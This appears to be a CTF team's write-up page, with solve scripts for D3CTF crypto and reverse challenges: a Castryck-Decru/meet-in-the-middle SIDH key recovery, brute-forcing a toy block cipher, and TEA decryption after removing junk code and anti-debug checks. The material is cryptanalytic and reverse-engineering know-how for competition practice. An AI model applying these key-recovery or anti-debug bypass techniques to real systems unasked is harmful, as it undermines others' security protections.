        if ((pk[i]^-1*nowc).trace()) < now:
            TT = deepcopy(l)
            TT.remove(i)
            search(TT,(pk[i]^-1*nowc).trace(),pk[i]^-1*nowc,road+[i])
    return 0

search([i for i in range(k)],now,c,[])
import hashlib
from Crypto.Cipher import AES

rangelist = [29, 36, 93, 58, 19, 7, 27, 41, 17, 56, 14, 96, 53, 30, 47, 74, 70, 85, 16, 4, 23, 92, 25, 34, 15, 42, 84, 76, 98, 62, 91, 28, 86, 6, 12, 87, 89, 37, 97, 94, 2, 57, 59, 95, 52, 66, 68, 8, 20, 64, 43, 46, 24, 90, 81, 39, 35, 54, 13, 73, 75, 67, 44, 83, 38, 78, 5, 80, 18, 31, 63, 55, 32, 49, 48, 0, 3, 10, 60, 72, 71, 33, 50, 9, 26, 51, 79, 22, 65, 21, 82, 77, 61, 45, 11, 40, 69, 88,1]
key = hashlib.sha256(str(rangelist).encode()).digest()
aes = AES.new(key = key , mode = AES.MODE_ECB)
ct = b'lD\xfc\xf4\xdb+\xcd\xbd\xff\x1a!C\x0e\x16\t\xa7:<\x94<\xac(M(i\xee\xf9B\xc7\xea}\x1b\x86\xf8e\xff\xa8<\xc2\xf0\x02P\xd8%$\xc3\xe9-'
flagc = aes.decrypt(ct)
print(flagc)

S0DH

拿板子打出私钥Sb

# Local imports
import public_values_aux
from public_values_aux import *

# Load Sage files
load('castryck_decru_shortcut.sage')

# Set the prime, finite fields and starting curve
# with known endomorphism
a = 38
b = 25
p = 2**a * 3**b - 1

Fp2.<ii> = GF(p^2, modulus=x^2+1)

E_start = EllipticCurve(Fp2, [0,6,0,1,0])
E_start.set_order((p+1)^2) # Speeds things up in Sage

# Generation of the endomorphism 2i
two_i = generate_distortion_map(E_start)

Pa = (199176096138773310217268*ii + 230014803812894614137371, 21529721453350773259901*ii + 106703903226801547853572)
Qa = (8838268627404727894538*ii + 42671830598079803454272, 232086518469911650058383*ii + 166016721414371687782077)
Pb = (200990566762780078867585*ii + 156748548599313956052974, 124844788269234253758677*ii + 161705339892396558058330)
Qb = (39182754631675399496884*ii + 97444897625640048145787, 80099047967631528928295*ii + 178693902138964187125027)
phib_Pa = (149703758091223422379828*ii + 52711226604051274601866, 112079580687990456923625*ii + 147229726400811363889895)
phib_Qa = (181275595028116997198711*ii + 186563896197914896999639, 181395845909382894304538*ii + 69293294106635311075792)
Pa, Qa, Pb, Qb = map(E_start, (Pa, Qa, Pb, Qb))

_phi_dom = EllipticCurve(Fp2, [
    0,
    (191884939246592021710422*ii+96782382528277357218650),
    0,
    1,
    0])
_phi_dom.set_order((p+1)**2, num_checks=0)

phib_Pa, phib_Qa = map(_phi_dom, (phib_Pa, phib_Qa))

P3, Q3 = Pb,Qb
EB, PB, QB = _phi_dom, phib_Pa, phib_Qa

# ===================================
# =====  ATTACK  ====================
# ===================================

def RunAttack(num_cores):
    return CastryckDecruAttack(E_start, Pa, Qa, EB, PB, QB, two_i, num_cores=num_cores)

if __name__ == '__main__':
    if '--parallel' in sys.argv:
        # Set number of cores for parallel computation
        num_cores = os.cpu_count()
        print(f"Performing the attack in parallel using {num_cores} cores")
    else:
        num_cores = 1
    recovered_key = RunAttack(num_cores)
#798424671353

先看Pa、Qa的生成代码

sqrtof2 = Fp2(2).sqrt()
f = x**3 + A0 * x**2 + x

Pa = E0(0)
Qa = E0(0)
Pa_done = False
Qa_done = False
d = 0
for c in range(0, p):
    Rx = ii + c
    Ry_square = f(ii + c)
    if not Ry_square.is_square():
        continue
    Ra = E0.lift_x(Rx)
    Pa = 3**b * Ra

    Ta = 2 ** (a - 1) * Pa
    if Ta.is_zero():
        continue
    Tax_plus_3 = Ta.xy()[0] + 3
    if Tax_plus_3 == 2 * sqrtof2 or Tax_plus_3 == -2 * sqrtof2:
        Pa_done = True
    elif Tax_plus_3 == 3 and not Qa_done:
        Qa = Pa
        Qa_done = True
    else:
        raise ValueError('Unexcepted order 2 point.')

    if Pa_done and Qa_done:
        break

assert Pa.order() == 2**a and Qa.order() == 2**a
assert Pa.weil_pairing(Qa, 2**a) ** (2 ** (a - 1)) != 1

显然这里构造了一个结构,满足$$2^{a-1}P_a$$以及$$2^{a-1}Q_a$$的纵坐标为0,并且固定$$2^{a-1}P_a=(0,0)$$,看上去和寻常的生成似乎没有什么区别,只是起到一个固定Pa和Qa的值的作用。题目给的参数很小,第一想法是mitm。

加速的代价是Torsion为2

img

那么有没有可能通过啥方法去把同源过程分成37个2-Torsion同源过程呢?然后利用Ea作为终点,E0作为起点去碰撞

https://math.stanford.edu/~conrad/249BW16Page/handouts/simplefactor.pdf

找到了maple SEETF的博客,感觉也是类似的问题,mitm思想,给定两条曲线,寻找phi

https://blog.maple3142.net/2023/06/12/seetf-2023-writeups/#isogeny-maze

import sys

sys.path.insert(0, './SQISign-SageMath')
from mitm import claw_finding_attack, Fp2 as F

# p = 2^8 * 3^15 - 1
# F.<i> = GF(p^2, modulus=x^2+1)
a = 38
b = 25
p = 2**a * 3**b - 1

Fp = GF(p)

Fpx = PolynomialRing(Fp, "x")
x = Fpx.gen()
Fp2.<ii> = GF(p^2, modulus=x^2+1)

A0 = Fp2(6)

Pa = (199176096138773310217268*ii + 230014803812894614137371, 21529721453350773259901*ii + 106703903226801547853572)
Qa = (8838268627404727894538*ii + 42671830598079803454272, 232086518469911650058383*ii + 166016721414371687782077)
Pb = (200990566762780078867585*ii + 156748548599313956052974, 124844788269234253758677*ii + 161705339892396558058330)
Qb = (39182754631675399496884*ii + 97444897625640048145787, 80099047967631528928295*ii + 178693902138964187125027)
phib_Pa = (149703758091223422379828*ii + 52711226604051274601866, 112079580687990456923625*ii + 147229726400811363889895)
phib_Qa = (181275595028116997198711*ii + 186563896197914896999639, 181395845909382894304538*ii + 69293294106635311075792)

E0 = EllipticCurve(Fp2, [0, A0, 0, 1, 0])
E0.set_order((p+1)**2)

Ea = EllipticCurve(Fp2,[0,(11731710804095179287932*ii+170364860453198752624563),0,1,0])

print(E0.j_invariant())
print(Ea.j_invariant())

phi = claw_finding_attack(E0, Ea, 2, 38)
for psi in phi.factors():
    print(psi.domain().j_invariant())

这里把同源的复合求出来以后,最后合并就可以得到目标phi。在拿到phia之后,由于我们已知Sb,因此把Rb扔进去就可以得到shared_key了。

287496
226914280953112989461428
200914952904314140176227
146320658612870242958555*ii + 108812466522224607127585
170662601515731851482430*ii + 192483809620500153866983
103966022926516600539469*ii + 124970408884212032221998
32981786377070797773278*ii + 93420284374189573550947
51773687196284254733819*ii + 173190286870002968150854
11126429757319530663738*ii + 157694486905192417347047
126327096462636769011888*ii + 100702951751778826298789
161844607783507677930061*ii + 141050791527963308140526
136019233531207266805898*ii + 140789481954614498793945
57730995013901284917284*ii + 25913743763345348689108
71954447816727398529574*ii + 48699512002499315960942
98965272811298232310656*ii + 189706939699334834246145
112878697991751114424553*ii + 221976118462335621710000
133895353668012831931374*ii + 95721813880648792575596
113337394534171873309505*ii + 217967239503410951950663
227654356900362610079555*ii + 87145284473650389023527
88633358622640845693169*ii + 138991800652295671703638
88739743386938460010715*ii + 212995002886947980949066
65839919979929909921958*ii + 54781908976978909922440
21228693837239824645649*ii + 222619775816400199667574
14788357882723301970480*ii + 85068711546438095430608
104549810233532026177645*ii + 56294126731936047452563
211586903300454951905843*ii + 57153810901292645227528
123002487109628694736865*ii + 121659257598462827463385
224664587604590467251926*ii + 143237834411594727529185
76670412152672284098938*ii + 65659932392159215369326
180598081355539914865681*ii + 112773643118695194884940
101330491110084922448496*ii + 104008743602965597596292
219564179799806415383596*ii + 184176723850524673029877
74416721936333844416428*ii + 98582661854743852348940
53262360804829824991580*ii + 30905588630804487621746
189266676655439938485059*ii + 198896432844296085384228
22397967369289880063201*ii + 112216647807658339353845
12862252406191551470752*ii + 1817678912523619594533
122890478488001605054402*ii + 110877518061346822742589

ok现在就差一个复合和求shared_key的脚本,手搓下就结束了

a = 38
b = 25
p = 2**a * 3**b - 1

Fp = GF(p)

Fpx = PolynomialRing(Fp, "x")
x = Fpx.gen()
Fp2.<ii> = GF(p^2, modulus=x^2+1)

A0 = Fp2(6)

Pa = (199176096138773310217268*ii + 230014803812894614137371, 21529721453350773259901*ii + 106703903226801547853572)
Qa = (8838268627404727894538*ii + 42671830598079803454272, 232086518469911650058383*ii + 166016721414371687782077)
Pb = (200990566762780078867585*ii + 156748548599313956052974, 124844788269234253758677*ii + 161705339892396558058330)
Qb = (39182754631675399496884*ii + 97444897625640048145787, 80099047967631528928295*ii + 178693902138964187125027)
phib_Pa = (149703758091223422379828*ii + 52711226604051274601866, 112079580687990456923625*ii + 147229726400811363889895)
phib_Qa = (181275595028116997198711*ii + 186563896197914896999639, 181395845909382894304538*ii + 69293294106635311075792)

E0 = EllipticCurve(Fp2, [0, A0, 0, 1, 0])
E0.set_order((p+1)**2)

Ea = EllipticCurve(Fp2,[0,(11731710804095179287932*ii+170364860453198752624563),0,1,0])

tl = [287496,
226914280953112989461428,
200914952904314140176227,
146320658612870242958555*ii + 108812466522224607127585,
170662601515731851482430*ii + 192483809620500153866983,
103966022926516600539469*ii + 124970408884212032221998,
32981786377070797773278*ii + 93420284374189573550947,
51773687196284254733819*ii + 173190286870002968150854,
11126429757319530663738*ii + 157694486905192417347047,
126327096462636769011888*ii + 100702951751778826298789,
161844607783507677930061*ii + 141050791527963308140526,
136019233531207266805898*ii + 140789481954614498793945,
57730995013901284917284*ii + 25913743763345348689108,
71954447816727398529574*ii + 48699512002499315960942,
98965272811298232310656*ii + 189706939699334834246145,
112878697991751114424553*ii + 221976118462335621710000,
133895353668012831931374*ii + 95721813880648792575596,
113337394534171873309505*ii + 217967239503410951950663,
227654356900362610079555*ii + 87145284473650389023527,
88633358622640845693169*ii + 138991800652295671703638,
88739743386938460010715*ii + 212995002886947980949066,
65839919979929909921958*ii + 54781908976978909922440,
21228693837239824645649*ii + 222619775816400199667574,
14788357882723301970480*ii + 85068711546438095430608,
104549810233532026177645*ii + 56294126731936047452563,
211586903300454951905843*ii + 57153810901292645227528,
123002487109628694736865*ii + 121659257598462827463385,
224664587604590467251926*ii + 143237834411594727529185,
76670412152672284098938*ii + 65659932392159215369326,
180598081355539914865681*ii + 112773643118695194884940,
101330491110084922448496*ii + 104008743602965597596292,
219564179799806415383596*ii + 184176723850524673029877,
74416721936333844416428*ii + 98582661854743852348940,
53262360804829824991580*ii + 30905588630804487621746,
189266676655439938485059*ii + 198896432844296085384228,
22397967369289880063201*ii + 112216647807658339353845,
12862252406191551470752*ii + 1817678912523619594533,
122890478488001605054402*ii + 110877518061346822742589,
183069265105061546259082*ii + 206939308658202727675321]

E = E0

PHI = []
for i in range(len(tl)-1):
    P = E(0).division_points(2)
    for j in P[1:]:
        phi = E.isogeny(kernel=j, algorithm='factored', model='montgomery', check=False)
        E1 = phi.codomain()
        if E1.j_invariant() == tl[i+1]:
            E = E1
            PHI.append(phi)
            break

print(len(PHI))
PHIA = (prod(PHI[::-1]))
a = PHIA.codomain()
print(a.j_invariant())
print(Ea.j_invariant())
import hashlib
Sb = 798424671353
Pb = E0(Pb)
Qb = E0(Qb)
Rb = Pb+Sb*Qb

Ea, phia_Pb, phia_Qb = phi_A.codomain(), phi_A(Pb), phi_A(Qb)

phia_Rb = phia_Pb + Sb * phia_Qb
Eba = Ea.isogeny(kernel=phia_Rb, algorithm='factored', model='montgomery', check=False).codomain()
jba = Eba.j_invariant()

h = bytes_to_long(hashlib.sha256(str(jba).encode()).digest())
enc = 48739425383997297710665612312049549178322149326453305960348697253918290539788

from Crypto.Util.number import *
print(long_to_bytes(enc^^h))

sym_signin

https://iacr.org/archive/eurocrypt2020/12105368/12105368.pdf

https://dspace.cuni.cz/bitstream/handle/20.500.11956/174254/130334006.pdf?sequence=1&isAllowed=y

maybe可以试试?因为plain是从文件里直接提的,所以可能本身就是由一组数据在加密过程中生成,以至于可以规避掉生日攻击的过程。但是它这个和我找到的几个Slide Attack的结构长的有一丢丢不一样,也不知道这个打法到底可不可行。

总之事已至此 先爆破吧。2^24复杂度,我的烂机子都能稍微跑跑,加下线程估计可以,改成c代码就更不用说了

试着跑跑,本地通了。

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <pthread.h>

#define NUM_THREADS 4

// 前面的函数和变量声明保持不变
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

#define ROUND 8192

uint64_t S[16] = {0xc, 0x5, 0x6, 0xb, 0x9, 0x0, 0xa, 0xd,
                  0x3, 0xe, 0xf, 0x8, 0x4, 0x7, 0x1, 0x2};

int P[32] = {0, 8, 16, 24, 1, 9, 17, 25, 2, 10, 18, 26, 3, 11, 19, 27,
             4, 12, 20, 28, 5, 13, 21, 29, 6, 14, 22, 30, 7, 15, 23, 31};

uint64_t S_16bit(uint64_t x) {
    uint64_t result = 0;
    for (int i = 0; i < 4; i++) {
        uint64_t block = (x >> (i * 4)) & 0xF;
        uint64_t sbox_result = S[block];
        result |= sbox_result << (i * 4);
    }
    return result;
}

uint64_t S_layer(uint64_t x) {
    return (S_16bit(x >> 16) << 16) | S_16bit(x & 0xFFFF);
}

uint64_t key_schedule(uint64_t key) {
    return ((key << 31 & 0xFFFFFFFF) + (key << 30 & 0xFFFFFFFF) + key) & 0xFFFFFFFF;
}

uint32_t P_32bit(uint32_t x) {
    uint32_t result = 0;
    for (int i = 0; i < 32; i++) {
        uint8_t bit = (x >> (31 - P[i])) & 1;
        result |= bit << (31 - i);
    }
    return result;
}

uint64_t enc_round(uint64_t message, uint64_t key) {
    uint64_t result = message ^ key;
    result = S_layer(result);
    result = P_32bit(result);
    // printf("%llu\n",result);
    return result;

}

uint64_t encrypt(uint64_t message, uint64_t key) {
    uint64_t ciphertext = message;
    for (int i = 0; i < ROUND; i++) {
        ciphertext = enc_round(ciphertext, key);
        key = key_schedule(key);
    }
    // printf("%llu\n",key);

    ciphertext = S_layer(ciphertext);
    ciphertext ^= key;

    return ciphertext;
}

uint64_t key_ex(int num) {
    int result = 0;
    int bit_position = 0;
    while (num > 0) {
        int original_bits = num & 0b111;
        int parity_bit = __builtin_popcount(original_bits) % 2;
        result |= (original_bits << (bit_position + 1)) | (parity_bit << bit_position);
        num >>= 3;
        bit_position += 4;
    }
    return result;
}

void write_to_binary_file(uint64_t *uint64_list, int length, char *output_file) {
    FILE *f = fopen(output_file, "wb");
    for (int i = 0; i < length; i++) {
        fwrite(&uint64_list[i], sizeof(uint64_t), 1, f);
    }
    fclose(f);
}

uint64_t *read_from_binary_file(char *input_file, int *length) {
    FILE *f = fopen(input_file, "rb");
    if (f == NULL) {
        printf("Error opening file.\n");
        exit(1);
    }
    fseek(f, 0, SEEK_END);
    *length = ftell(f) / sizeof(uint64_t);
    rewind(f);

    uint64_t *uint64_list = malloc((*length) * sizeof(uint64_t));
    fread(uint64_list, sizeof(uint64_t), *length, f);
    fclose(f);
    return uint64_list;
}

uint64_t *bytes_to_uint64_list(unsigned char *byte_string, int byte_string_length, int fill_value, int *uint64_list_length) {
    int remainder = byte_string_length % 4;
    int padding_bytes;
    if (remainder != 0) {
        padding_bytes = 4 - remainder;
        if (fill_value != -1) {
            unsigned char *filled_byte_string = realloc(byte_string, byte_string_length + padding_bytes);
            memset(filled_byte_string + byte_string_length, fill_value, padding_bytes);
            byte_string = filled_byte_string;
        }
    }

    *uint64_list_length = byte_string_length / 4;
    uint64_t *uint64_list = malloc((*uint64_list_length) * sizeof(uint64_t));

    for (int i = 0; i < byte_string_length; i += 4) {
        uint64_t number = (byte_string[i] << 24) | (byte_string[i + 1] << 16) | (byte_string[i + 2] << 8) | byte_string[i + 3];
        uint64_list[i / 4] = number;
    }

    return uint64_list;
}

uint64_t l6shad(uint64_t x) {
    char x_bytes[3];
    x_bytes[0] = (x >> 16) & 0xFF;
    x_bytes[1] = (x >> 8) & 0xFF;
    x_bytes[2] = x & 0xFF;
    char sha256_hash[65];
    snprintf(sha256_hash, 65, "%6s", x_bytes);
    uint64_t result_int = strtoul(&sha256_hash[58], NULL, 16);
    return result_int;
}

struct ThreadData {
    uint64_t start_key;
    uint64_t end_key;
    uint64_t *mycipher;
    uint64_t *plain;
};

// 线程函数,每个线程负责一部分密钥空间的搜索
void *brute_force_thread(void *arg) {
    struct ThreadData *data = (struct ThreadData *)arg;
    for (uint64_t secret_KEY = data->start_key; secret_KEY < data->end_key; secret_KEY++) {
        uint64_t *cipher = malloc(sizeof(uint64_t) * 1);
        int equal = 1;
        for (int i = 0; i < 1; i++) {
            cipher[i] = encrypt(data->plain[i], secret_KEY);
            if (cipher[i] != data->mycipher[i]) {
                equal = 0;
                break;
            }
        }
        if (equal) {
            printf("Key found: %llu\n", secret_KEY);
            // free(cipher);
            // exit(0); // 找到密钥后退出线程
        }
        free(cipher);
    }
    return NULL;
}

int main() {
    uint64_t a = (1<<24)-1;
    uint64_t b = 1<<23;
    // uint64_t mycipher[] = {340689424, 777257951, 3140295435, 2886654016, 3413772793, 1588908016};
    // uint64_t plain[] = {3960651144, 1150250357, 338717842, 469237546, 46441841, 781222929};
    u_int64_t plain[]={1952658276};
    u_int64_t mycipher[]={1018399591};
    pthread_t threads[NUM_THREADS];
    struct ThreadData thread_data[NUM_THREADS];

    uint64_t key_range = (a - b) / NUM_THREADS; // 将密钥空间均匀分配给每个线程

    // 创建多个线程
    for (int i = 0; i < NUM_THREADS; i++) {
        thread_data[i].start_key = b + i * key_range;
        thread_data[i].end_key = (i == NUM_THREADS - 1) ? a : thread_data[i].start_key + key_range;
        thread_data[i].mycipher = mycipher;
        thread_data[i].plain = plain;

        if (pthread_create(&threads[i], NULL, brute_force_thread, (void *)&thread_data[i]) != 0) {
            perror("pthread_create failed");
            exit(1);
        }
    }

    // 等待所有线程完成
    for (int i = 0; i < NUM_THREADS; i++) {
        if (pthread_join(threads[i], NULL) != 0) {
            perror("pthread_join failed");
            exit(1);
        }
    }

    printf("Key not found\n");
    return 0;
}
import hashlib
import struct
from Crypto.Util.number import *
S = [0xc, 0x5, 0x6, 0xb, 0x9, 0x0, 0xa, 0xd,
     0x3, 0xe, 0xf, 0x8, 0x4, 0x7, 0x1, 0x2]

P = [0, 8, 16, 24, 1, 9, 17, 25, 2, 10, 18, 26, 3, 11, 19, 27,
     4, 12, 20, 28, 5, 13, 21, 29, 6, 14, 22, 30, 7, 15, 23, 31]


def S_16bit(x: int) -> int:
    result = 0
    for i in range(4):
        block = (x >> (i * 4)) & 0xF
        sbox_result = S[block]
        result |= sbox_result << (i * 4)
    return result


def S_layer(x: int) -> int:
    return (S_16bit(x >> 16) << 16) | S_16bit(x & 0xffff)


def S_16bit_inv(x: int) -> int:
    result = 0
    for i in range(4):
        block = (x >> (i * 4)) & 0xF
        sbox_result = S.index(block)
        result |= sbox_result << (i * 4)
    return result


def S_layer_inv(x: int) -> int:
    return (S_16bit_inv(x >> 16) << 16) | S_16bit_inv(x & 0xffff)


def P_32bit(x: int) -> int:
    binary_result = format(x, '032b')
    permuted_binary = ''.join(binary_result[i] for i in P)
    result = int(permuted_binary, 2)
    return result


def P_32bit_inverse(x: int) -> int:
    binary_result = format(x, '032b')
    new_str = ['0']*32
    for i in range(len(P)):
        new_str[P[i]] = binary_result[i]

    return int("".join(new_str), 2)


def key_schedule(key):
    return ((key << 31 & 0xffffffff) + (key << 30 & 0xffffffff) + key) & 0xffffffff


def enc_round(message: int, key: int) -> int:
    result = message ^ key
    result = S_layer(result)
    result = P_32bit(result)
    return result


def dec_round(message: int, key: int) -> int:
    result = P_32bit_inverse(message)
    result = S_layer_inv(result)
    msg = result ^ key
    return msg


def encrypt(message: int, key: int, ROUND: int) -> int:
    ciphertext = message
    for _ in range(ROUND):
        ciphertext = enc_round(ciphertext, key)
        key = key_schedule(key)
        # if _ < 10:
        #     print(key)
    #print("enc", ciphertext)
    ciphertext = S_layer(ciphertext)

    ciphertext ^= key

    return ciphertext


def decrypt(cipher: int, key: int, ROUND: int) -> int:
    keylist = []
    keylist.append(key)
    for _ in range(ROUND):
        key = key_schedule(key)
        keylist.append(key)
    # print(keylist[:10])
    cipher = cipher ^ keylist[-1]

    cipher = S_layer_inv(cipher)
    # print("dec", cipher)
    for _ in range(ROUND):
        key = keylist[-(_+2)]
        cipher = dec_round(cipher, key)
    return cipher


f = bytes_to_uint32_list(b'd3ct')
print(f)
key = 11047257
x = [1018399591, 2488810702, 3039797263, 4191100757,
     1935299768, 1527316259, 205585707, 1006371702]
msg = []

m = encrypt(x[2],11047257,ROUND=8192)
key = 11047257
print(decrypt(m,11047257,ROUND=8192))
msg = b''
for i in range(len(x)):
    mesg = decrypt(x[i], key, ROUND=8192)
    key = l6shad(key)
    msg += (long_to_bytes(mesg)[::-1])
print(msg)

Reverse

RandomVM

逆100多个子函数

纯纯力工活

脚本+人工整理

最后发现还是爆破省脑又省力 输入一共也就12个字节 从头开始爆破 爆破两位字节的时间是20秒左右 patch程序使他输出最终的结果

img

过程中意外发现程序还有反调试 怪不得调试的时候syscall会调用ptrace

主要脚本如下

from pwn import *
import time
import itertools  
context(log_level = "error")

seed = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"  

ss = (''.join(chars) for chars in itertools.product(seed, repeat=2))  
t1 = time.time()  
for str in ss:  
    io = process('./RandomVM1')
    #print(str)
    flag = 'm3owJumpVmvM'+str
    io.sendline(flag)
    rc = io.recv()
    #print(str,hex(rc[2]))
    if rc[0] == 0x9d and rc[1] == 0x6b  and rc[2] == 0xa1 and rc[3] == 0x2:
        if rc[4] == 0xd7 and rc[5] == 0xed and rc[6] == 0x40 and rc[7] == 0xf6:
            if rc[8] == 0xe and rc[9] == 0xae and rc[10] == 0x84:
                print(flag)
                #exit()
    io.close()
t2 = time.time()
print(t2-t1)

其中爆破最开始两个字节比较麻烦 存在好几十种组合满足结果匹配第一个字节,要是爆破3个字节就得大几十分钟了,还是得猜,正好有个m3(乐)比较像正常文字,后续继续爆破发现真是,修改str的位置爆破即可

ezjunk

花指令 tea加密 反调试

拿到tea的key 0x5454,0x4602,0x4477,0x5E5E

img

[0xB1, 0xCB, 0x06, 0x54, 0xA2, 0x1E, 0xA4, 0xA4, 0xC5, 0x9A, 0x48, 0x34, 0x97, 0x87, 0xD6, 0x53, 0x6F, 0xC0, 0xE0, 0xB8, 0xDB, 0xF2, 0x59, 0x02, 0x82, 0x8D, 0xE3, 0x52, 0x1D, 0x5E, 0x5D, 0x59]

解一下 fakeflag{Is_there_anywhere_else}

翻一下函数列表 0x4016BC 位置的函数也存在花指令,猜测于flag有关,向上交叉引用一下好像是个虚表函数,这里直接在x64里面下断点,程序跑过来了?

img

有两个花,直接nop一下

img

//通过dbg动调看出来
//0x4015C9存在检测调试,把IsDebuggerPresent改掉就好了
//0x4016BC会把tea加密之后的结果进行0x20轮计算
#include<stdio.h>
// key=0xe8017300
// key1=0xff58f981
// magic={0x5410,0x4646,0x4444,0x5e6d}
void decode(unsigned int* data,unsigned key,unsigned key1,unsigned int* magic){
    unsigned int v7=data[0];
    unsigned int cache=0;
    unsigned int v6=data[1];
    unsigned int cache1=0;
    int i=0;
    for (i=0;i<=31;++i){
        key-=key1;
    }
    for ( i = 0; i <= 31; ++i )
    {

      key += key1;
      v6 -= (v7 + ((32 * v7) ^ (v7 >> 6))) ^ (magic[(key >> 11) & 3] + key) ^ 0x33;
      v7 -= (v6 + ((16 * v6) ^ (v6 >> 5))) ^ (magic[key&3] + key) ^ 0x44;
    }
    data[0]=v7;
    data[1]=v6;
    printf("%p %p\n",v6,v7);

}
unsigned int calc(unsigned int data){
    if (data&1){
        data=data^0x84a6972f;
        data=data>>1;
        data|=0x80000000;
    }else{
        data=data>>1;
    }
    return data;
}

int main(){
    unsigned int data[8] = {
    0xB6DDB3A9,0x36162C23,0x1889FABF,0x6CE4E73B,0x0A5AF8FC,0x21FF8415,0x44859557,0x2DC227B7
};
    int i=0;

    for (i=0;i<8;i++){
        int j=0;
        for (j=0;j<=0x1f;j++){
            data[i]=calc(data[i]);
        }
    }
    unsigned int key=0xe8017300;
    unsigned int key1=0xff58f981;
    unsigned int magic[]={0x5454,0x44^0x4646,0x33^0x4444,0x5e5e};


    for (i=0;i<7;i+=2){
        decode(&data[i],key,key1,magic);
    }

    printf("%s\n",data);
}

forest

主逻辑位于0x401A00

0x401C79输出为正确。

0,1字符串。根据0,1不同进入不同分支, 如果分支不对会遇到int 3或者死循环。只要找到正确的路径即可。

ida_python:

import idc
import struct

base_ea = 0x406030
start_ea = base_ea

g_idx = 0
g_flag = []
flag_block = 'mov     eax, 72A668h'
flag_fail = 'int     3'

def get_next_ea(ea, is_zero):
    next_ea = 0

    value_offset = 0
    if is_zero == True:
        value_offset = 7
    else:
        value_offset = 0x1e
    value_y = struct.unpack('<I', idc.get_bytes(ea + value_offset + 0x05, 6)[2:])[0]
    value_x = struct.unpack('<I', idc.get_bytes(ea + value_offset + 0x10, 6)[2:])[0]
    next_ea = base_ea + ((value_y + 17*value_x) * 64)
    # print(next_ea)
    return next_ea

def check_ea_san(ea):
    if ea < 0x406030 or ea > 0x40A86F:
        return 0
    else:
        d0 = idc.generate_disasm_line(ea, 1)
        if d0[:len(flag_fail)] == flag_fail:
            return -3
        else:
            ea_0 = get_next_ea(ea, True)
            ea_1 = get_next_ea(ea, False)
            if ea_0 == ea_1:
                return -4
            else:
                return 1

def determine_path(ea):
    ea_0 = get_next_ea(ea, True)
    ea_1 = get_next_ea(ea, False)

    next_ea = 0
    if check_ea_san(ea_0) == 1 and check_ea_san(ea_1) != 1:
        next_ea = ea_0
        g_flag.append('0')
    elif check_ea_san(ea_1) == 1 and check_ea_san(ea_0) != 1:
        next_ea = ea_1
        g_flag.append('1')
    else:
        print('[-] Both BAD! Last valid = 0x%08X' % (ea))
        print('[>] ea_0 = 0x%08X' % (ea_0))
        print('[>] ea_1 = 0x%08X' % (ea_1))
        exit(0)
    print('[+] next_ea = 0x%08X' % (next_ea))
    return next_ea

def do_solve():
    ea = start_ea
    for i in range(136):
        ea = determine_path(ea)

    bin_flag = ''.join(g_flag)
    flag = ''
    for i in range(17):
        flag += chr(int(bin_flag[i*8 : i*8+8], 2))

    print('d3ctf{%s}'%(flag))

do_solve()
  • AliYunCTF By W&M x V&N
  • RCTF 2024 By W&M
取消回复

说点什么?

© 2025 W&M Team. Using Typecho & Moricolor.